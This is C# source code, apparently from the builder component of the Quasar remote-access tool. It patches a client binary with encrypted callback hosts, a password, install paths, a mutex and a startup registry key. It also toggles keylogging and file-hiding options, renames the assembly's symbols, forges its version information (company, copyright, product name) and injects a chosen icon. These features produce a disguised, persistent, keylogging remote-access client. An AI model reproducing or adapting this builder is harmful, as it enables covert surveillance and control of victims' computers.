/// <summary> /// Builds a client executable. /// </summary> /// <remarks> /// Assumes the 'client.bin' file exist. /// </remarks> public static void Build(BuildOptions options) { // PHASE 1 - Settings string encKey = FileHelper.GetRandomFilename(20); AssemblyDefinition asmDef = AssemblyDefinition.ReadAssembly("client.bin"); foreach (var typeDef in asmDef.Modules[0].Types) { if (typeDef.FullName == "xClient.Config.Settings") { foreach (var methodDef in typeDef.Methods) { if (methodDef.Name == ".cctor") { int strings = 1, bools = 1; for (int i = 0; i < methodDef.Body.Instructions.Count; i++) { if (methodDef.Body.Instructions[i].OpCode.Name == "ldstr") // string { switch (strings) { case 1: //version methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.Version, encKey); break; case 2: //ip/hostname methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.RawHosts, encKey); break; case 3: //password methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.Password, encKey); break; case 4: //installsub methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.InstallSub, encKey); break; case 5: //installname methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.InstallName, encKey); break; case 6: //mutex methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.Mutex, encKey); break; case 7: //startupkey methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.StartupName, encKey); break; case 8: //encryption key methodDef.Body.Instructions[i].Operand = encKey; break; case 9: //tag methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.Tag, encKey); break; case 10: //LogDirectoryName methodDef.Body.Instructions[i].Operand = AES.Encrypt(options.LogDirectoryName, encKey); break; } strings++; } else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.1" || methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.0") // bool { switch (bools) { case 1: //install methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.Install)); break; case 2: //startup methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.Startup)); break; case 3: //hidefile methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.HideFile)); break; case 4: //Keylogger methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.Keylogger)); break; case 5: //HideLogDirectory methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.HideLogDirectory)); break; case 6: // HideInstallSubdirectory methodDef.Body.Instructions[i] = Instruction.Create(BoolOpcode(options.HideInstallSubdirectory)); break; } bools++; } else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4") // int { //reconnectdelay methodDef.Body.Instructions[i].Operand = options.Delay; } else if (methodDef.Body.Instructions[i].OpCode.Name == "ldc.i4.s") // sbyte { methodDef.Body.Instructions[i].Operand = GetSpecialFolder(options.InstallPath); } } } } } } // PHASE 2 - Renaming Renamer r = new Renamer(asmDef); if (!r.Perform()) throw new Exception("renaming failed"); // PHASE 3 - Saving r.AsmDef.Write(options.OutputPath); // PHASE 4 - Assembly Information changing if (options.AssemblyInformation != null) { VersionResource versionResource = new VersionResource(); versionResource.LoadFrom(options.OutputPath); versionResource.FileVersion = options.AssemblyInformation[7]; versionResource.ProductVersion = options.AssemblyInformation[6]; versionResource.Language = 0; StringFileInfo stringFileInfo = (StringFileInfo) versionResource["StringFileInfo"]; stringFileInfo["CompanyName"] = options.AssemblyInformation[2]; stringFileInfo["FileDescription"] = options.AssemblyInformation[1]; stringFileInfo["ProductName"] = options.AssemblyInformation[0]; stringFileInfo["LegalCopyright"] = options.AssemblyInformation[3]; stringFileInfo["LegalTrademarks"] = options.AssemblyInformation[4]; stringFileInfo["ProductVersion"] = versionResource.ProductVersion; stringFileInfo["FileVersion"] = versionResource.FileVersion; stringFileInfo["Assembly Version"] = versionResource.ProductVersion; stringFileInfo["InternalName"] = options.AssemblyInformation[5]; stringFileInfo["OriginalFilename"] = options.AssemblyInformation[5]; versionResource.SaveTo(options.OutputPath); } // PHASE 5 - Icon changing if (!string.IsNullOrEmpty(options.IconPath)) IconInjector.InjectIcon(options.OutputPath, options.IconPath); }
private BuildOptions ValidateInput() { BuildOptions options = new BuildOptions(); if (!CheckForEmptyInput()) { MessageBox.Show("Please fill out all required fields!", "Build failed", MessageBoxButtons.OK, MessageBoxIcon.Information); return options; } options.Tag = txtTag.Text; options.Mutex = txtMutex.Text; options.RawHosts = HostHelper.GetRawHosts(_hosts); options.Password = txtPassword.Text; options.Delay = int.Parse(txtDelay.Text); options.IconPath = txtIconPath.Text; options.Version = Application.ProductVersion; options.InstallPath = GetInstallPath(); options.InstallSub = txtInstallsub.Text; options.InstallName = txtInstallname.Text + ".exe"; options.StartupName = txtRegistryKeyName.Text; options.Install = chkInstall.Checked; options.Startup = chkStartup.Checked; options.HideFile = chkHide.Checked; options.Keylogger = chkKeylogger.Checked; if (options.Password.Length < 3) { MessageBox.Show("Please enter a secure password with more than 3 characters.", "Build failed", MessageBoxButtons.OK, MessageBoxIcon.Warning); return options; } if (!File.Exists("client.bin")) { MessageBox.Show("Could not locate \"client.bin\" file. It should be in the same directory as Quasar.", "Build failed", MessageBoxButtons.OK, MessageBoxIcon.Error); return options; } if (options.RawHosts.Length < 2) { MessageBox.Show("Please enter a valid host to connect to.", "Build failed", MessageBoxButtons.OK, MessageBoxIcon.Error); return options; } if (chkChangeIcon.Checked) { if (string.IsNullOrWhiteSpace(options.IconPath) || !File.Exists(options.IconPath)) { MessageBox.Show("Please choose a valid icon path.", "Build failed", MessageBoxButtons.OK, MessageBoxIcon.Error); return options; } } else options.IconPath = string.Empty; if (chkChangeAsmInfo.Checked) { if (!FormatHelper.IsValidVersionNumber(txtProductVersion.Text)) { MessageBox.Show("Please enter a valid product version number!\nExample: 1.2.3.4", "Build failed", MessageBoxButtons.OK, MessageBoxIcon.Error); return options; } if (!FormatHelper.IsValidVersionNumber(txtFileVersion.Text)) { MessageBox.Show("Please enter a valid file version number!\nExample: 1.2.3.4", "Build failed", MessageBoxButtons.OK, MessageBoxIcon.Error); return options; } options.AssemblyInformation = new string[8]; options.AssemblyInformation[0] = txtProductName.Text; options.AssemblyInformation[1] = txtDescription.Text; options.AssemblyInformation[2] = txtCompanyName.Text; options.AssemblyInformation[3] = txtCopyright.Text; options.AssemblyInformation[4] = txtTrademarks.Text; options.AssemblyInformation[5] = txtOriginalFilename.Text; options.AssemblyInformation[6] = txtProductVersion.Text; options.AssemblyInformation[7] = txtFileVersion.Text; } using (SaveFileDialog sfd = new SaveFileDialog()) { sfd.Title = "Save Client as"; sfd.Filter = "Executables *.exe|*.exe"; sfd.RestoreDirectory = true; sfd.FileName = "Client-built.exe"; if (sfd.ShowDialog() != DialogResult.OK) { return options; } options.OutputPath = sfd.FileName; } if (string.IsNullOrEmpty(options.OutputPath)) { MessageBox.Show("Please choose a valid output path.", "Build failed", MessageBoxButtons.OK, MessageBoxIcon.Error); return options; } options.ValidationSuccess = true; return options; }